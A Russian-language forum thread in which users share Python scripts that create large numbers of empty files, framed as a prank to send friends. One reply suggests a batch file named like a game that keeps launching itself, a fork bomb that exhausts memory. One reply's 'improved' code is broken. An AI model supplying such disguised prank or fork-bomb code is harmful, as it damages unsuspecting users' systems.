Загрузка...

Creating a large number of files of a certain format

Thread in Python created by DumBler Aug 28, 2019. 259 views

The poll

Годнота?

  1. Да

    4
    80%
  2. Да (но ниже)

    1
    20%
  1. DumBler
    DumBler Topic starter Aug 28, 2019 Добрый человек 84 Apr 5, 2018
    Создал бесполезную программу, но может кому-то она будет полезна.
    Скрипт скомпилированный в ехе будет ниже в архиве :3
    Code
    print('''Варианты предпологаемых файлов:
    1) .DOC
    2) .DOCX
    3) .TXT
    4) .EXE
    5) Custom
    ''')
    def Gener(Format):
    Nazvanie=input("Введите название для файлов: ")
    Kol_vo=int(input("Введите желаемое количество файлов: "))
    a=0
    while(a<Kol_vo):
    a+=1
    f=open(str(a)+"_"+Nazvanie+"."+Format, "w")
    print("Файл: "+str(a)+"_"+Nazvanie+"."+Format+", успешно создан.")
    input("Для завершения нажмите Enter.")


    Vibor=int(input("Введите ваш вариант и нажмите Enter: "))
    if Vibor==1:
    Gener("doc")
    elif Vibor==2:
    Gener("docx")
    elif Vibor==3:
    Gener("txt")
    elif Vibor==4:
    Gener("exe")
    elif Vibor==5:
    aaaaaaaa=input("Введите формат для будующих файлов: ")
    Gener(aaaaaaaa)
    https://imgur.com/eOJq9r9 https://imgur.com/cHrGIla Пропустил "." При выводе выполнения. В коде исправил, cкрин лень переделывать :D

    Ещё один код
    Создаёт 1000 файлов при открытии(Лучше не открывать на рабочем столе)
    Лень кидать все исходники, они будут ниже в архиве.
    Code
    https://imgur.com/Sursy3R
    https://imgur.com/GuGKRMf

    VT нет так как это архив. (Если не доверяете ехе- компилируйте сами из файлов .py)
    https://yadi.sk/d/My2JXMIgKPHHBg
     
  2. Help
    Help Aug 28, 2019 469 May 12, 2017
    Зачем ? Если можно копировать ? Да и вообще кому это вообще нужно ?
     
  3. murser
    murser Aug 28, 2019 Курлыкает на онемэ 12 Apr 25, 2017
    f=open(str(a)+"_"+Nazvanie+"."+Format, "w")
    f.close()
    The post was merged to previous Aug 28, 2019
    Кстати, чекни на досуге:"Форматирование строк python"
     
  4. DumBler
    DumBler Topic starter Aug 28, 2019 Добрый человек 84 Apr 5, 2018
    Это самый бесполезный скпипт, разве что другу по приколу можно кинуть тот что создаёт 1000 файлов.
    А так он нигде не применяется.
    Мне просто захотелось его написать. :D
     
  5. Help
    Help Aug 28, 2019 469 May 12, 2017
    и что ?
    Зачем ? Никто не будет им пользоваться
     
  6. Kyber_Zero
    Kyber_Zero Aug 30, 2019 Dead Inside 5 Jan 21, 2018
    DumBler,
    Code

    print("HackerMAN228") # прив. сообщение

    def main():
    file_name = input("Введите название файла: ")
    format = input("Введите формат файла (через точку): ")
    count = input("Введите желаемое количество файлов: ")

    try:
    count = int(count)
    for i in range(0, count+1):
    with open(str(i) +"_"+ file_name + format, "wb") as file:
    print("Файл: "+str(i)+"_" + file_name + format + ", успешно создан.")
    except Error as e:
    print("Errrror!")
    print(e)
    finally:
    input()


    if "__name__" == "__main__":
    main()

    Твой упрощенный и более понятный код) Пробелы сам подкорректируешь)
     
  7. Пётр_Порошенко
    вирусня,рофл на знакомыми
     
  8. Kyber_Zero
    Kyber_Zero Aug 30, 2019 Dead Inside 5 Jan 21, 2018
    Пётр_Порошенко, проще уж батник написать с названием аля dota и запустить его
    Code

    start dota.bat
    start dota.bat
    start dota.bat
     
  9. Пётр_Порошенко
    ну это уже бомба и минус оперативка,а там просто засер стола
     
Loading...
Top